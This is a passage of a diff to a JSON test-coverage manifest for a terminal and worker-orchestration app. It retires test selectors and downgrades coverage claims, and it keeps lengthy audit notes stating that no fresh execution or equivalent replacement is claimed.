pending-ask recovery callback remains byte-identical. Existing selectors remain executable but reduced source bytes have no fresh execution in this static audit; the complete dated worker-release CLI receipt retains its original unchanged scope and does not validate these reduced ledger bytes. Historical prior account (preserved verbatim): Audit3678 current-source reassessment removes20 authored/24 finite root-unit cases across7 retained test sources; all10 selected current drivers80 authored/93 finite were read, leaving60 authored/69 finite unchanged. Removed alarms are the in-memory WAL PRAGMA constant, ordinary latest-dispatch/gate-creation inventories, self-reported-failure and explicit-terminal retry policy rows, SSH/unsupported-provider output fallback labels, legacy typing no-op/retain-before-report/manual scheduling rows, exited output status and copied resume-session metadata, incomplete inventory deferral/reset cascade inventory, and nominal release/active-state/corrupt external history/stopped-abandoned outcome/generic close-exception rows. These are intentional coverage losses, not replaced alarms. Retained source includes actual SQLite rollback/custody, mutable transcript/deletion and saved-copy compatibility, cursor mutation, clear lineage, auto-release timing/restart/admission and concurrent recovery seams. Historical KEEP decisions are consciously superseded where stated in decisions.json. Source-only evidence; no runtime, CI, native, provider, remote, mobile/folder or global completion credit. Previous oracle (preserved verbatim): Audit3437 composes ROOT-adopted3431/independent3432: intentionally removes127 authored/174 potential expanded cases across12 sources, deleting7 whole suites and one267line unused helper without test credit. Retain8 authored/13 potential cases. No equivalent replacement or fresh execution is claimed. Lose the complete completed-worker-retirement-resume suite: exact terminal-close resume-record revocation, PTY-exit recovery retention and settled-worker release examples. Remove its exact command token or standalone command, testFiles entry and assertionRef, archiving complete prior fields. Independent receipts retain original scopes. Audit2003: Remove3 preexisting unsupported320-live-PTY,400-retirement/256-history and replacement-lifecycle aliases from the inventory driver: neither its frozen original imported registrars nor proposed candidate owns those callbacks. This metadata correction adds no test-removal credit. The driver loses the empty-worktree-publication suite and3 folder-host/unverifiable scalar examples while retaining concurrent inventory freshness and provider-failure verdict fences. The retained inventory callbacks are not terminal-release, historical-cache capacity or performance-budget replacement coverage. Preserve the independent compiled-CLI Electron receipt exactly. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, physical provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1983: Remove unsupported user-taken-over, transferred-owner, exact-reuse, host-scope, immutable-transcript, legacy-ambiguity, reset and50-worker aliases from their claimed sources. Remove the deleted pending-release ledger replay alias. Narrow surviving external-retention and recovery aliases to actual retained callbacks; no transfer to another file or process-restart proof. Preserve the independent receipt. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1959 (sources 1955:34): Pruning removes unsupported-provider/out-of-range scalar refusals and the single Grok happy decoder fixture. Retain actual file cursor append/paging, same-inode checkpoint invalidation, opaque IDs and oversized-line progress. Retire the complete dated 3.48s combined receipt through its effective currentCommand, without changing its original command or transferring its 56-test result. Unchanged CLI/Electron receipt retains its independent scope. No historical passed receipt is narrowed or transferred to changed source bytes. No fresh execution, equivalent replacement, physical provider/PTY, live remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed by this metadata packet. Historical prior account (preserved verbatim): Existing exact unchanged-selector receipts remain the only current execution evidence. Changed source selectors have no fresh execution result. Historical prior-source oracle account: Surviving unchanged-source receipts are the current oracle; changed-source assertions await validation. Historical oracle account: Record release intent for a settled owner, attempt exact reuse before close, and require worker-start to fail with terminal_release_in_progress while the terminal stays open; then release the original owner exactly once. Race retain against a controlled archive promise and require no committed archive or close. Rebase a closed web-terminal host partition without terminalLayoutsByTabId and require the persistence write to complete while preserving host-authoritative membership; replay a valid legacy retirement under the same omission and require exact membership removal plus revision advancement. For retained external, user-owned, transferred, stopped, and abandoned resources, run one fresh inventory against the exact local/WSL or SSH provider: an exact live incarnation and every unknown inventory shape stay retained, while positive absence atomically sets ownership_state and release_state to released with processAction none and zero closeTerminal calls. Change host or process identity and inject duplicate resource evidence to require retention. Freeze a structured transcript, delete its source file, and require archived worker-read to return the same bounded redacted messages. Restart a pending mutation, reset orchestration state, and create 50 resources while asserting replay convergence, zero orphan rows, two-query worker listing, and no unrelated close.", + "commands": [], + "testFiles": [], + "assertionRefs": [], + "evidenceRuns": [], "runtimeBudget": { "p95Seconds": 45, - "scope": "Historical prior-selector runtime budget; changed selector has no fresh runtime measurement. Unchanged receipts retain their own command scope." + "scope": "Historical prior-selector budget; changed E2E selectors have no new runtime measurement. Historical prior-selector runtime budget; changed selector has no fresh runtime measurement. Unchanged receipts retain their own command scope." }, "flakeHistory": { - "status": "unknown", - "evidence": "Audit1379 reduced selector has no fresh soak result. Historical account: Repeated local deterministic runs pass; focused CI and soak history are not yet available." + "status": "not-started", + "evidence": "No fresh soak for changed E2E selectors. Historical account: Audit1379 reduced selector has no fresh soak result. Historical account: Repeated local deterministic runs pass; focused CI and soak history are not yet available." }, "redGreenEvidence": { "status": "missing", - "evidence": "Audit2003: Remove3 preexisting unsupported320-live-PTY,400-retirement/256-history and replacement-lifecycle aliases from the inventory driver: neither its frozen original imported registrars nor proposed candidate owns those callbacks. This metadata correction adds no test-removal credit. The driver loses the empty-worktree-publication suite and3 folder-host/unverifiable scalar examples while retaining concurrent inventory freshness and provider-failure verdict fences. The retained inventory callbacks are not terminal-release, historical-cache capacity or performance-budget replacement coverage. Preserve the independent compiled-CLI Electron receipt exactly. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, physical provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1379 changes test sources; reduced selector has no fresh red/green result. Historical account: The version-skew legacy-retirement test deterministically threw at mobile-session-terminal-persistence-retirement.ts:75 before the null-safe layout read and passed with exact tab removal, tombstone cleanup, and topology-revision advancement after the fix. The byte-identical compiled-CLI Electron oracle left the dead resource external/retained on latest main 5ea7df1a5b, passed on combined candidate d697666ce8 with released/released SQLite state and processAction none, and reproduced external/retained after disabling the claimed production files at merge-base 64aec94cb2. The earlier unchanged three-case dead external/user-owned/transferred service oracle likewise failed 3/3 on main, passed 3/3 on candidate, and failed 3/3 with production restored; every run asserted durable state and zero terminal close calls. The 320-live-PTY oracle failed on the prior single-map implementation and passes with complete active evidence, zero detached history, and a linear identity-check bound after the cache split." + "evidence": "No fresh red/green execution for changed E2E selectors. Historical account: Audit2003: Remove3 preexisting unsupported320-live-PTY,400-retirement/256-history and replacement-lifecycle aliases from the inventory driver: neither its frozen original imported registrars nor proposed candidate owns those callbacks. This metadata correction adds no test-removal credit. The driver loses the empty-worktree-publication suite and3 folder-host/unverifiable scalar examples while retaining concurrent inventory freshness and provider-failure verdict fences. The retained inventory callbacks are not terminal-release, historical-cache capacity or performance-budget replacement coverage. Preserve the independent compiled-CLI Electron receipt exactly. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, physical provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1379 changes test sources; reduced selector has no fresh red/green result. Historical account: The version-skew legacy-retirement test deterministically threw at mobile-session-terminal-persistence-retirement.ts:75 before the null-safe layout read and passed with exact tab removal, tombstone cleanup, and topology-revision advancement after the fix. The byte-identical compiled-CLI Electron oracle left the dead resource external/retained on latest main 5ea7df1a5b, passed on combined candidate d697666ce8 with released/released SQLite state and processAction none, and reproduced external/retained after disabling the claimed production files at merge-base 64aec94cb2. The earlier unchanged three-case dead external/user-owned/transferred service oracle likewise failed 3/3 on main, passed 3/3 on candidate, and failed 3/3 with production restored; every run asserted durable state and zero terminal close calls. The 320-live-PTY oracle failed on the prior single-map implementation and passes with complete active evidence, zero detached history, and a linear identity-check bound after the cache split." }, "performanceBudget": { "required": true, - "evidence": "Audit2003: Remove3 preexisting unsupported320-live-PTY,400-retirement/256-history and replacement-lifecycle aliases from the inventory driver: neither its frozen original imported registrars nor proposed candidate owns those callbacks. This metadata correction adds no test-removal credit. The driver loses the empty-worktree-publication suite and3 folder-host/unverifiable scalar examples while retaining concurrent inventory freshness and provider-failure verdict fences. The retained inventory callbacks are not terminal-release, historical-cache capacity or performance-budget replacement coverage. Preserve the independent compiled-CLI Electron receipt exactly. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, physical provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Historical prior-selector budget; reduced selector has no fresh measurement. Previous account: Normal owned release performs constant-count indexed resource and identity queries plus one bounded archive capture. Missing layout maps use constant-time empty-record fallbacks inside the existing explicit persistence pass, with no added scan or allocation proportional to terminal history. A retained release performs exactly one bounded inventory against its authoritative local/WSL or specific SSH provider, with no retry, polling, timer, subprocess, renderer subscription, or per-session follow-up fanout. Each liveness observation performs constant-time active-identity classification; retirement performs one historical insertion and at most one oldest-entry eviction, while active evidence scales only with supported PTYs and detached history is capped at 256. Worker-list uses two set queries rather than one resource lookup per worker." + "evidence": "Historical prior-selector account; changed E2E selectors have no new performance measurement. Audit2003: Remove3 preexisting unsupported320-live-PTY,400-retirement/256-history and replacement-lifecycle aliases from the inventory driver: neither its frozen original imported registrars nor proposed candidate owns those callbacks. This metadata correction adds no test-removal credit. The driver loses the empty-worktree-publication suite and3 folder-host/unverifiable scalar examples while retaining concurrent inventory freshness and provider-failure verdict fences. The retained inventory callbacks are not terminal-release, historical-cache capacity or performance-budget replacement coverage. Preserve the independent compiled-CLI Electron receipt exactly. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, physical provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Historical prior-selector budget; reduced selector has no fresh measurement. Previous account: Normal owned release performs constant-count indexed resource and identity queries plus one bounded archive capture. Missing layout maps use constant-time empty-record fallbacks inside the existing explicit persistence pass, with no added scan or allocation proportional to terminal history. A retained release performs exactly one bounded inventory against its authoritative local/WSL or specific SSH provider, with no retry, polling, timer, subprocess, renderer subscription, or per-session follow-up fanout. Each liveness observation performs constant-time active-identity classification; retirement performs one historical insertion and at most one oldest-entry eviction, while active evidence scales only with supported PTYs and detached history is capped at 256. Worker-list uses two set queries rather than one resource lookup per worker." }, "promotionCriteria": [ "Collect 100 consecutive focused CI passes or 14 days of soak history.", @@ -10375,7 +9122,11 @@ "Audit3437 complete prior testFiles before completed-worker-retirement-resume retirement: [\"src/main/runtime/rpc/methods/orchestration/worker/worker-release-mobile-report.test.ts\",\"src/main/runtime/terminal/query/runtime-terminal-inventory-contracts.test.ts\",\"src/main/runtime/terminal/surface/mobile-session-terminal-persistence-retirement.test.ts\",\"src/main/runtime/rpc/methods/orchestration/worker/worker-release.test.ts\",\"src/main/runtime/rpc/methods/orchestration/worker/worker-release-recovery.test.ts\",\"src/main/runtime/rpc/orchestration-mutation-ledger.test.ts\",\"src/main/runtime/orchestration/workers/transcripts/worker-transcript-read.test.ts\",\"tests/e2e/completed-worker-retirement-resume.unit.test.ts\",\"tests/e2e/orchestration-worker-settlement-release-cli.spec.ts\"]", "Audit3437 complete prior assertionRefs before completed-worker-retirement-resume retirement: [{\"file\":\"src/main/runtime/terminal/surface/mobile-session-terminal-persistence-retirement.test.ts\",\"assertions\":[\"rebases a host partition that no longer carries the closed web-terminal layout\",\"replays a legacy retirement when its host partition omits terminal layouts\"]},{\"file\":\"tests/e2e/completed-worker-retirement-resume.unit.test.ts\",\"assertions\":[\"an already-exited succeeded Dispatch reaches released while its late exact close revokes the missing tab's stale resume record\"]},{\"file\":\"src/main/runtime/rpc/methods/orchestration/worker/worker-release.test.ts\",\"assertions\":[\"retains a dead external terminal without closing a process\",\"releases a dead stopped or abandoned worker without closing a process\",\"lets an explicit retain cancel a release while output capture is pending\"]},{\"file\":\"src/main/runtime/rpc/methods/orchestration/worker/worker-release-recovery.test.ts\",\"assertions\":[\"finishes a requested release after restart-style interruption within the same runtime and database\",\"coalesces reconciliation joining an interactive release into one recorded recovery attempt and one terminal close\"]},{\"file\":\"tests/e2e/orchestration-worker-settlement-release-cli.spec.ts\",\"assertions\":[\"compiled worker-release reconciles a dead external retained resource to released\",\"the CLI reports processAction none instead of closing a process\",\"SQLite independently records released ownership and release state\",\"the unrelated coordinator terminal remains live\"]}]", "Audit3899 intentionally removes the seeded accepted-worker-start receipt callback from the retained orchestration mutation-ledger test suite, without equivalent replacement. It used an in-memory database and no restart or actual worker launch. The lost alarm is operation_unknown with accepted Dispatch recovery guidance and no second handler invocation. The separate independent-database pending-ask recovery callback remains byte-identical. Existing selectors remain executable but reduced source bytes have no fresh execution in this static audit; the complete dated worker-release CLI receipt retains its original unchanged scope and does not validate these reduced ledger bytes.", - "Audit5912 deletes the entire worker-release-mobile-report suite. Fake worker Keep open/report/release alarms are intentionally lost; its compound command is narrowed to the surviving incarnation suite and its testFiles entry removed. The unchanged compiled-CLI receipt retains only its original scope; no equivalent replacement or fresh whole-gate pass is claimed. " + "Audit5912 deletes the entire worker-release-mobile-report suite. Fake worker Keep open/report/release alarms are intentionally lost; its compound command is narrowed to the surviving incarnation suite and its testFiles entry removed. The unchanged compiled-CLI receipt retains only its original scope; no equivalent replacement or fresh whole-gate pass is claimed. ", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-08-12\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"command\": \"pnpm run build:cli && SKIP_BUILD=1 pnpm exec playwright test tests/e2e/orchestration-worker-settlement-release-cli.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\n \"result\": \"passed\",\n \"durationSeconds\": 20,\n \"summary\": \"The combined candidate's compiled worker-release returned released with processAction none after positive process absence; an independent SQLite read showed both states released and the coordinator terminal remained live.\"\n }", + "E2E layout cleanup: original active selector metadata is historical, not current validation:\ncommands: [\n \"ORCA_BACKGROUND_LAUNCH=1 pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/terminal/identity/orca-runtime-terminal-handle-incarnation.test.ts\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/terminal/query/runtime-terminal-inventory-contracts.test.ts src/main/runtime/terminal/surface/mobile-session-terminal-persistence-retirement.test.ts src/main/runtime/rpc/methods/orchestration/worker/release/worker-release.test.ts src/main/runtime/rpc/methods/orchestration/worker/release/worker-release-recovery.test.ts src/main/runtime/rpc/orchestration/mutations/orchestration-mutation-ledger.test.ts src/main/runtime/orchestration/workers/transcripts/worker-transcript-read.test.ts --reporter=dot\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/terminal/surface/mobile-session-terminal-persistence-retirement.test.ts src/main/runtime/rpc/methods/orchestration/worker/release/worker-release.test.ts src/main/runtime/rpc/methods/orchestration/worker/release/worker-release-recovery.test.ts src/main/runtime/rpc/orchestration/mutations/orchestration-mutation-ledger.test.ts src/main/runtime/orchestration/workers/transcripts/worker-transcript-read.test.ts --reporter=dot\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/rpc/methods/orchestration/worker/release/worker-release.test.ts src/main/runtime/rpc/methods/orchestration/worker/release/worker-release-recovery.test.ts src/main/runtime/rpc/orchestration/mutations/orchestration-mutation-ledger.test.ts src/main/runtime/orchestration/workers/transcripts/worker-transcript-read.test.ts --reporter=dot\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/rpc/methods/orchestration/worker/release/worker-release.test.ts src/main/runtime/rpc/methods/orchestration/worker/release/worker-release-recovery.test.ts src/main/runtime/rpc/orchestration/mutations/orchestration-mutation-ledger.test.ts src/main/runtime/orchestration/workers/transcripts/worker-transcript-read.test.ts --reporter=dot\",\n \"pnpm run build:cli && SKIP_BUILD=1 pnpm exec playwright test tests/e2e/orchestration-worker-settlement-release-cli.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\"\n ]\ntestFiles: [\n \"src/main/runtime/terminal/query/runtime-terminal-inventory-contracts.test.ts\",\n \"src/main/runtime/terminal/surface/mobile-session-terminal-persistence-retirement.test.ts\",\n \"src/main/runtime/rpc/methods/orchestration/worker/release/worker-release.test.ts\",\n \"src/main/runtime/rpc/methods/orchestration/worker/release/worker-release-recovery.test.ts\",\n \"src/main/runtime/rpc/orchestration/mutations/orchestration-mutation-ledger.test.ts\",\n \"src/main/runtime/orchestration/workers/transcripts/worker-transcript-read.test.ts\",\n \"tests/e2e/orchestration-worker-settlement-release-cli.spec.ts\"\n ]\nassertionRefs: [\n {\n \"file\": \"src/main/runtime/terminal/surface/mobile-session-terminal-persistence-retirement.test.ts\",\n \"assertions\": [\n \"rebases a host partition that no longer carries the closed web-terminal layout\",\n \"replays a legacy retirement when its host partition omits terminal layouts\"\n ]\n },\n {\n \"file\": \"src/main/runtime/rpc/methods/orchestration/worker/release/worker-release.test.ts\",\n \"assertions\": [\"does not claim retention succeeded after terminal close was committed\"]\n },\n {\n \"file\": \"src/main/runtime/rpc/methods/orchestration/worker/release/worker-release-recovery.test.ts\",\n \"assertions\": [\n \"settles a closed terminal after restart when exact process liveness is exited\",\n \"coalesces reconciliation joining an interactive release into one recorded recovery attempt and one terminal close\"\n ]\n },\n {\n \"file\": \"tests/e2e/orchestration-worker-settlement-release-cli.spec.ts\",\n \"assertions\": [\n \"compiled worker-release reconciles a dead external retained resource to released\",\n \"the CLI reports processAction none instead of closing a process\",\n \"SQLite independently records released ownership and release state\",\n \"the unrelated coordinator terminal remains live\"\n ]\n }\n ]", + "E2E layout cleanup intentionally removes whole CUT registrations without assertion salvage or equivalent replacement. Surviving remapped selectors are unexecuted future work at the future serial parent (actual parent null): {\"commands\":[\"ORCA_BACKGROUND_LAUNCH=1 pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/terminal/identity/orca-runtime-terminal-handle-incarnation.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/terminal/query/runtime-terminal-inventory-contracts.test.ts src/main/runtime/terminal/surface/mobile-session-terminal-persistence-retirement.test.ts src/main/runtime/rpc/methods/orchestration/worker/release/worker-release.test.ts src/main/runtime/rpc/methods/orchestration/worker/release/worker-release-recovery.test.ts src/main/runtime/rpc/orchestration/mutations/orchestration-mutation-ledger.test.ts src/main/runtime/orchestration/workers/transcripts/worker-transcript-read.test.ts --reporter=dot\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/terminal/surface/mobile-session-terminal-persistence-retirement.test.ts src/main/runtime/rpc/methods/orchestration/worker/release/worker-release.test.ts src/main/runtime/rpc/methods/orchestration/worker/release/worker-release-recovery.test.ts src/main/runtime/rpc/orchestration/mutations/orchestration-mutation-ledger.test.ts src/main/runtime/orchestration/workers/transcripts/worker-transcript-read.test.ts --reporter=dot\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/rpc/methods/orchestration/worker/release/worker-release.test.ts src/main/runtime/rpc/methods/orchestration/worker/release/worker-release-recovery.test.ts src/main/runtime/rpc/orchestration/mutations/orchestration-mutation-ledger.test.ts src/main/runtime/orchestration/workers/transcripts/worker-transcript-read.test.ts --reporter=dot\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/rpc/methods/orchestration/worker/release/worker-release.test.ts src/main/runtime/rpc/methods/orchestration/worker/release/worker-release-recovery.test.ts src/main/runtime/rpc/orchestration/mutations/orchestration-mutation-ledger.test.ts src/main/runtime/orchestration/workers/transcripts/worker-transcript-read.test.ts --reporter=dot\"],\"testFiles\":[\"src/main/runtime/terminal/query/runtime-terminal-inventory-contracts.test.ts\",\"src/main/runtime/terminal/surface/mobile-session-terminal-persistence-retirement.test.ts\",\"src/main/runtime/rpc/methods/orchestration/worker/release/worker-release.test.ts\",\"src/main/runtime/rpc/methods/orchestration/worker/release/worker-release-recovery.test.ts\",\"src/main/runtime/rpc/orchestration/mutations/orchestration-mutation-ledger.test.ts\",\"src/main/runtime/orchestration/workers/transcripts/worker-transcript-read.test.ts\"],\"assertionRefs\":[{\"file\":\"src/main/runtime/terminal/surface/mobile-session-terminal-persistence-retirement.test.ts\",\"assertions\":[\"rebases a host partition that no longer carries the closed web-terminal layout\",\"replays a legacy retirement when its host partition omits terminal layouts\"]},{\"file\":\"src/main/runtime/rpc/methods/orchestration/worker/release/worker-release.test.ts\",\"assertions\":[\"does not claim retention succeeded after terminal close was committed\"]},{\"file\":\"src/main/runtime/rpc/methods/orchestration/worker/release/worker-release-recovery.test.ts\",\"assertions\":[\"settles a closed terminal after restart when exact process liveness is exited\",\"coalesces reconciliation joining an interactive release into one recorded recovery attempt and one terminal close\"]}]}", + "Historical declared scope before this cleanup: {\"protection\":\"partial\",\"coveredPlatforms\":[\"macos\"],\"coveredProviders\":[],\"redGreenEvidence\":{\"status\":\"missing\",\"evidence\":\"Audit2003: Remove3 preexisting unsupported320-live-PTY,400-retirement/256-history and replacement-lifecycle aliases from the inventory driver: neither its frozen original imported registrars nor proposed candidate owns those callbacks. This metadata correction adds no test-removal credit. The driver loses the empty-worktree-publication suite and3 folder-host/unverifiable scalar examples while retaining concurrent inventory freshness and provider-failure verdict fences. The retained inventory callbacks are not terminal-release, historical-cache capacity or performance-budget replacement coverage. Preserve the independent compiled-CLI Electron receipt exactly. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, physical provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1379 changes test sources; reduced selector has no fresh red/green result. Historical account: The version-skew legacy-retirement test deterministically threw at mobile-session-terminal-persistence-retirement.ts:75 before the null-safe layout read and passed with exact tab removal, tombstone cleanup, and topology-revision advancement after the fix. The byte-identical compiled-CLI Electron oracle left the dead resource external/retained on latest main 5ea7df1a5b, passed on combined candidate d697666ce8 with released/released SQLite state and processAction none, and reproduced external/retained after disabling the claimed production files at merge-base 64aec94cb2. The earlier unchanged three-case dead external/user-owned/transferred service oracle likewise failed 3/3 on main, passed 3/3 on candidate, and failed 3/3 with production restored; every run asserted durable state and zero terminal close calls. The 320-live-PTY oracle failed on the prior single-map implementation and passes with complete active evidence, zero detached history, and a linear identity-check bound after the cache split.\"},\"flakeHistory\":{\"status\":\"unknown\",\"evidence\":\"Audit1379 reduced selector has no fresh soak result. Historical account: Repeated local deterministic runs pass; focused CI and soak history are not yet available.\"},\"runtimeBudget\":{\"p95Seconds\":45,\"scope\":\"Historical prior-selector runtime budget; changed selector has no fresh runtime measurement. Unchanged receipts retain their own command scope.\"},\"performanceBudget\":{\"required\":true,\"evidence\":\"Audit2003: Remove3 preexisting unsupported320-live-PTY,400-retirement/256-history and replacement-lifecycle aliases from the inventory driver: neither its frozen original imported registrars nor proposed candidate owns those callbacks. This metadata correction adds no test-removal credit. The driver loses the empty-worktree-publication suite and3 folder-host/unverifiable scalar examples while retaining concurrent inventory freshness and provider-failure verdict fences. The retained inventory callbacks are not terminal-release, historical-cache capacity or performance-budget replacement coverage. Preserve the independent compiled-CLI Electron receipt exactly. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, physical provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Historical prior-selector budget; reduced selector has no fresh measurement. Previous account: Normal owned release performs constant-count indexed resource and identity queries plus one bounded archive capture. Missing layout maps use constant-time empty-record fallbacks inside the existing explicit persistence pass, with no added scan or allocation proportional to terminal history. A retained release performs exactly one bounded inventory against its authoritative local/WSL or specific SSH provider, with no retry, polling, timer, subprocess, renderer subscription, or per-session follow-up fanout. Each liveness observation performs constant-time active-identity classification; retirement performs one historical insertion and at most one oldest-entry eviction, while active evidence scales only with supported PTYs and detached history is capped at 256. Worker-list uses two set queries rather than one resource lookup per worker.\"}}" ], "demotionRule": "Keep experimental or demote if release can overlap exact reuse, close a conflicting lease, lose immutable output, retain reset archives, fan out per worker, or any focused ordering test flakes without a product or harness defect." }, @@ -10892,7 +9643,7 @@ "id": "terminal-input.cooked-reply-queue", "title": "Terminal query replies stay atomic and bounded without evicting ordinary input", "maturity": "experimental", - "protection": "partial", + "protection": "none", "owner": "terminal-runtime", "layer": "renderer-provider-contract", "surfaces": [ @@ -10905,102 +9656,35 @@ ], "platforms": ["macos", "linux", "windows"], "providers": ["local", "daemon", "ssh"], - "coveredPlatforms": ["macos"], - "coveredProviders": ["local"], - "coverageNotes": "Audit7378 retires the complete standalone terminal typing benchmark and its active command/file/assertion selectors. This accepts losing the sequential-key echo-liveness smoke check and median/worst latency alarms; retained query tests are narrower and are not equivalent replacements. The typing receipt is archived with its exact values in knownGaps because it is no longer executable evidence. Existing historical gap strings remain unchanged. Input/terminal layout cleanup retires the complete immediate query-reply test and narrows the input queue, IPC input-write and remote batching Programs. Retained queue oracles cover public failure/refusal and clear/reentrant-clear cancellation; retained IPC oracles cover predecessor cancellation with successor replay and natural-exit accepted-write cancellation; remote batching retains UTF-8 code-point-safe splitting only. Intentionally lost alarms include accepted-input invocation ordering/single-drain marker checks, validation fencing/stale-drain recovery, IPC preconnect/attach/exit callback and ordinary-tail examples, remote validation-barrier/oversize nondelivery, and pending ordinary or asynchronously validated paste before an immediate query reply. The other sources do not provide equivalent replacement coverage. The retained OSC receipt and archived typing receipt retain their original commands, durations and scope; neither validates these reduced unit selectors. No fresh runtime, PTY/provider/UI, remote/mobile, mixed-version, cross-platform, red/green, soak or measured-budget result is claimed.", + "coveredPlatforms": [], + "coveredProviders": [], + "coverageNotes": "No current executed protection is claimed after E2E layout cleanup. Historical account: Audit7378 retires the complete standalone terminal typing benchmark and its active command/file/assertion selectors. This accepts losing the sequential-key echo-liveness smoke check and median/worst latency alarms; retained query tests are narrower and are not equivalent replacements. The typing receipt is archived with its exact values in knownGaps because it is no longer executable evidence. Existing historical gap strings remain unchanged. Input/terminal layout cleanup retires the complete immediate query-reply test and narrows the input queue, IPC input-write and remote batching Programs. Retained queue oracles cover public failure/refusal and clear/reentrant-clear cancellation; retained IPC oracles cover predecessor cancellation with successor replay and natural-exit accepted-write cancellation; remote batching retains UTF-8 code-point-safe splitting only. Intentionally lost alarms include accepted-input invocation ordering/single-drain marker checks, validation fencing/stale-drain recovery, IPC preconnect/attach/exit callback and ordinary-tail examples, remote validation-barrier/oversize nondelivery, and pending ordinary or asynchronously validated paste before an immediate query reply. The other sources do not provide equivalent replacement coverage. The retained OSC receipt and archived typing receipt retain their original commands, durations and scope; neither validates these reduced unit selectors. No fresh runtime, PTY/provider/UI, remote/mobile, mixed-version, cross-platform, red/green, soak or measured-budget result is claimed.", "motivatingLinks": [ "https://github.com/stablyai/orca/issues/13137", "https://github.com/stablyai/orca/issues/7329", "https://github.com/stablyai/orca/issues/13892" ], "invariant": "The desktop PTY input queue retains at most 64 explicitly sourced pending terminal query replies and 4096 UTF-16 code units. Every retained reply reaches the provider as one atomic write, and ordinary, acknowledged, and reply input share one invocation-ordered FIFO so no later write overtakes an acknowledged write. Reentrant write callbacks cannot start a second drain worker or strand input admitted after clear/reuse. A reply's own echo is contained on the output side by projecting its known echo shapes; the ESC-initial verbatim shape is matched only when complete, never held as a partial, so a query torn at its own ESC is still answered. Overflow removes only the oldest query replies, never ordinary input except the documented modified-F3/CPR byte collision, and failure or teardown cannot clear a newer queue generation or strand an acknowledged promise.", - "oracle": "Reduced unit oracles are limited to queue refusal after drain failure, active/pending cancellation on clear or reentrant clear, predecessor accepted-write cancellation with captured-byte replay by a successor, accepted-write cancellation on natural exit, and UTF-8 code-point-safe remote splitting. Untouched query classification/ingress and viewport-frame sources keep their own surviving assertions. Immediate-query/pending-input separation, asynchronous-paste ordering and remote validation-barrier or oversized-input nondelivery no longer have the retired direct alarms. Existing local Electron receipts remain scoped to their exact original commands and do not validate reduced unit bytes. No equivalent replacement or fresh execution is claimed.", - "commands": [ - "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/pty-transport/input/pty-input-write-queue.test.ts src/renderer/src/components/terminal-pane/pty-transport/ipc/pty-transport-input-write.test.ts src/shared/terminal/protocol/queries/terminal-query-reply.test.ts src/shared/terminal/pty/ingress/pty-startup-ingress-live-query-reply.test.ts src/shared/terminal/pty/ingress/pty-startup-reply-echo-shapes.test.ts", - "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/output/remote-runtime-pty-batching.test.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-input-coalescing.test.ts", - "pnpm exec playwright test tests/e2e/terminal-osc-color-queries.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1" - ], - "testFiles": [ - "src/renderer/src/components/terminal-pane/pty-transport/input/pty-input-write-queue.test.ts", - "src/renderer/src/components/terminal-pane/pty-transport/ipc/pty-transport-input-write.test.ts", - "src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/output/remote-runtime-pty-batching.test.ts", - "src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-input-coalescing.test.ts", - "src/shared/terminal/protocol/queries/terminal-query-reply.test.ts", - "src/shared/terminal/pty/ingress/pty-startup-ingress-live-query-reply.test.ts", - "src/shared/terminal/pty/ingress/pty-startup-reply-echo-shapes.test.ts", - "tests/e2e/terminal-osc-color-queries.spec.ts" - ], - "assertionRefs": [ - { - "file": "src/renderer/src/components/terminal-pane/pty-transport/input/pty-input-write-queue.test.ts", - "assertions": [ - "a drain failure rejects later input until clear permits queue reuse", - "reentrant clear rejects active accepted input while allowing fresh input to drain", - "clear settles active and pending accepted input false before same-id queue reuse" - ] - }, - { - "file": "src/renderer/src/components/terminal-pane/pty-transport/ipc/pty-transport-input-write.test.ts", - "assertions": [ - "destroying the predecessor rejects its accepted write while the successor replays captured bytes", - "natural exit rejects stale accepted chunks before same-id queue reuse" - ] - }, - { - "file": 